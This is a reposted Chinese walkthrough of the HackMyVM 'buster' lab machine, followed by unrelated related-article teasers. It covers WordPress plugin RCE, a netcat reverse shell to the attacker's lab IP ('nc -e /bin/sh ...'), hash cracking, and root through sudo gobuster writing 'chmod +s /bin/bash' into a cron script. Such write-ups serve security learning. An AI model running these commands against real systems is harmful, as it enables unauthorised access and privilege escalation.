hackmyvm-buster

news/2025/2/25 18:52:19

题目地址

信息收集

主机发现

┌──(root㉿kali)-[/home/kali]
└─# arp-scan -I eth1 192.168.56.0/24
Interface: eth1, type: EN10MB, MAC: 00:0c:29:34:da:f5, IPv4: 192.168.56.103
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0e       (Unknown: locally administered)
192.168.56.100  08:00:27:b0:9b:6b       (Unknown)
192.168.56.105  08:00:27:da:56:11       (Unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.157 seconds (118.68 hosts/sec). 3 responded

端口扫描

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV 192.168.56.105
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-24 07:33 EST
Nmap scan report for 192.168.56.105
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)
|   256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)
|_  256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: bammmmuwe
|_http-generator: WordPress 6.7.1
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:DA:56:11 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds

80端口开了一个http服务。是一个用wordpress搭建的站点。

用wpscan进行一些信息收集

最开始我只进行了wpscan --url http://192.168.56.105 -e u,ap没用使用--plugins-detection aggressive 模式。

对目标进行了好几次的信息收集，但是没有收集到任何漏洞信息

后来使wpscan --url http://192.168.56.105 -e u,ap --plugins-detection aggressive 发现网站存在一个CVE-2024-50498

┌──(root㉿LAPTOP-40PQI58C)-[/mnt/c/Users/legion]
└─# wpscan --url http://192.168.56.105 -e u,ap --plugins-detection aggressive
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.56.105/ [192.168.56.105]
[+] Started: Mon Feb 24 20:36:52 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: nginx/1.14.2
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://192.168.56.105/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.56.105/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.56.105/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.56.105/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.7.1 identified (Outdated, released on 2024-11-21).
 | Found By: Meta Generator (Passive Detection)
 |  - http://192.168.56.105/, Match: 'WordPress 6.7.1'
 | Confirmed By: Rss Generator (Aggressive Detection)
 |  - http://192.168.56.105/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>
 |  - http://192.168.56.105/comments/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:14:12 <==================================> (109235 / 109235) 100.00% Time: 00:14:12
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://192.168.56.105/wp-content/plugins/akismet/
 | Last Updated: 2025-02-14T18:49:00.000Z
 | Readme: http://192.168.56.105/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 5.3.7
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.56.105/wp-content/plugins/akismet/, status: 200
 |
 | Version: 5.3.5 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.56.105/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.56.105/wp-content/plugins/akismet/readme.txt

[+] feed
 | Location: http://192.168.56.105/wp-content/plugins/feed/
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.56.105/wp-content/plugins/feed/, status: 200
 |
 | The version could not be determined.

[+] wp-query-console
 | Location: http://192.168.56.105/wp-content/plugins/wp-query-console/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2018-03-16T16:03:00.000Z
 | Readme: http://192.168.56.105/wp-content/plugins/wp-query-console/README.txt
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.56.105/wp-content/plugins/wp-query-console/, status: 403
 |
 | Version: 1.0 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.56.105/wp-content/plugins/wp-query-console/README.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <==========================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] ta0
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://192.168.56.105/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Rss Generator (Aggressive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] welcome
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Feb 24 20:51:12 2025
[+] Requests Done: 109276
[+] Cached Requests: 42
[+] Data Sent: 29.237 MB
[+] Data Received: 33.165 MB
[+] Memory used: 478.477 MB
[+] Elapsed time: 00:14:20

拿着payload直接打了,页面报错了

image-20250224205414747

执行了phpinfo()页面正常

image-20250224205521763

但是执行其他语句就都是400

我执行了var_dump(1)，虽然页面还是400 但是页面返回来了结果

image-20250224205623271

在刚刚的返回的phpinfo()页面看到了禁用的函数

image-20250224205719657

但是用反引号还是能执行命令

image-20250224205942468

弹个shellnc -e /bin/sh 192.168.56.103 7777

拿到了www-data的权限

image-20250224210152514

有一个叫welcome的普通用户。同时WordPress也有一个welcome的用户

image-20250224210254665

上传一个php文件连接数据库读取出WordPress数据库中的用户与密码

image-20250224210403829

刚看到这里的时候，脑子一抽。想着将加密的密码更新为已知的密码。

然后

突然间想起来 这里的welcome的密码可能就是系统用户welcome的密码

就拿了密码 用jhon去爆破

┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# john --show hash                     
?:104567

1 password hash cracked, 0 left

然后通过ssh 顺利登录系统

┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# ssh welcome@192.168.56.105
Linux listen 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Feb 24 04:57:16 2025 from 192.168.56.103
$ whoami
welcome

sudo -l 看到/usr/bin/gobuster不需要密码就可以使用sudo

$ sudo -l
Matching Defaults entries for welcome on listen:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on listen:
    (ALL) NOPASSWD: /usr/bin/gobuster

最开始是没有什么思路的

突然间想到可以将 /root/root.txt文件指定为字典

在kali上用python -m http.server起一个http服务

然后执行

sudo gobuster -u "http://192.168.56.101:8080" -w /root/root.txt

很不幸root's flag的名字不叫root.txt

$ sudo gobuster -u "http://192.168.56.101:8080" -w /root/root.txt
2025/02/24 08:12:20 [!] 1 error occurred:
        * Wordlist (-w): File does not exist: /root/root.txt

下一个pspy看看

image-20250224212336104

root用户会定时执行/opt/.test.sh

这里突然间想到了

可以用python起一个htpp服务器然后在里面依次放入bin chmod +s bin bash文件夹以及文件

┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm/empty]
└─# tree
.
└── bin
    └── chmod +s 
        └── bin
            └── bash

4 directories, 1 file

然后创建一个字典文件里面只写bin/chmod +s /bin/bash

$ cat 1
bin/chmod +s /bin/bash

然后执行sudo /usr/bin/gobuster -u http://192.168.56.103:8000/ -w /home/welcome/1 -o res

welcome@listen:~$ cat res
/bin/chmod +s /bin/bash (Status: 200)
welcome@listen:~$

得到的结果是我们想要的

但是多了一个 (Status: 200)

后来我才知道-n参数可以忽略吊响应码

在命令后加一个-n参数后

welcome@listen:~$ cat res
/bin/chmod +s /bin/bash
welcome@listen:~$

后面没任何东西了

刚好是我们想要的

接下来就是把他加入到/opt/.tets.sh中

执行sudo /usr/bin/gobuster -u "http://192.168.56.103:8000/" -w /home/welcome/1 -o /opt/.test.sh -n

再看/bin/bash的权限,已经加上了s位

welcome@listen:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
welcome@listen:~$

之后执行 bash -p就是root权限了

welcome@listen:~$ bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1001(welcome) gid=1001(welcome) euid=0(root) egid=0(root) groups=0(root),1001(welcome)
bash-5.0#

http://www.niftyadmin.cn/n/5865851.html

相关文章

GEO数据结构

GEO数据结构

目录 1. GEOADD 2. GEODIST 3. GEOHASH 3. GEOHASH 4. GEOPOS 6. GEOSEARCH 7. GEOSEARCHSTORE 应用场景 代码的逻辑分解&#xff1a; 比较难懂的部分&#xff1a; Redis GEO 查询与分页 results 的结构&#xff1a; 分页处理与截取数据 附加距离信息 1. GEOADD…
阅读更多...
基于 IMX6ULL 的环境监测自主调控系统

基于 IMX6ULL 的环境监测自主调控系统

文章目录 前言一、项目介绍二、前台QT界面1. 界面设计2. 代码示例 三、后台硬件驱动四、JsonRPC 实现前后台分离1. 为什么要拆分&#xff1f;2. 如何拆分&#xff1f; 五、总结 前言 项目完整代码&#xff1a;基于 IMX6ULL 的环境监测自主调控系统完整代码 该项目的源代码适用…
阅读更多...
力扣leetcode 21. 合并两个有序链表 递归 C语言解法

力扣leetcode 21. 合并两个有序链表 递归 C语言解法

题目&#xff1a; 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1&#xff1a; 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4]示例 2&#xff1a; 输入&#xff1a;l1 [], l2 [] 输…
阅读更多...
使用Python爬虫获取淘宝商品详情：API返回值说明与案例指南

使用Python爬虫获取淘宝商品详情：API返回值说明与案例指南

在电商数据分析和运营中&#xff0c;获取淘宝商品详情是常见的需求。淘宝开放平台提供了丰富的API接口&#xff0c;允许开发者通过合法的方式获取商品信息。本文将详细介绍如何使用Python编写爬虫&#xff0c;通过淘宝API获取商品详情&#xff0c;并解析API返回值的含义和结构。…
阅读更多...
第二章：辅助功能

第二章：辅助功能

目录 第一节&#xff1a;工作目录创建 第二节&#xff1a;属性定义 第三节&#xff1a;日志宏 第四节&#xff1a; SqliteHelper 第五节&#xff1a; FileHelper 下期预告&#xff1a; 第一节&#xff1a;工作目录创建 在家目录创建一个名为mq的目录&#xff0c;mq里又创…
阅读更多...
WSL2使用Kind创建K8S集群时出现IPV6网络创建失败

WSL2使用Kind创建K8S集群时出现IPV6网络创建失败

机器信息&#xff1a; ubuntu 22.04 kind 版本 0.17.0 通过命令创建k8s集群 kind create cluster --image kindest/node:v1.25.3 --name aio -v 5 出现如下报错&#xff1a; ERROR: failed to create cluster: failed to ensure docker network: command "docker ne…
阅读更多...
Threejs教程一【三要素】

Threejs教程一【三要素】

场景 场景是一个容器&#xff0c;用于容纳所有的物体、光源、相机等元素。 // 创建场景 const scene new THREE.Scene(); //修改背景颜色&#xff0c;颜色支持十六进制、rgb、hsl、贴图等 scene.background new THREE.Color(0x000000);相机 相机决定了渲染的结果&#xff…
阅读更多...
DeepSeek开源FlashMLA：颠覆大模型训练效率的新一代技术解析

DeepSeek开源FlashMLA：颠覆大模型训练效率的新一代技术解析

在AI领域&#xff0c;大模型的训练成本与效率始终是开发者面临的“阿喀琉斯之踵”。动辄千亿参数的模型需要消耗数月时间与数百万美元的计算资源&#xff0c;严重制约了技术创新。2023年&#xff0c;中国AI公司深度求索&#xff08;DeepSeek&#xff09;开源的FlashMLA框架&…
阅读更多...
最新文章

Copyright @ 2022~2023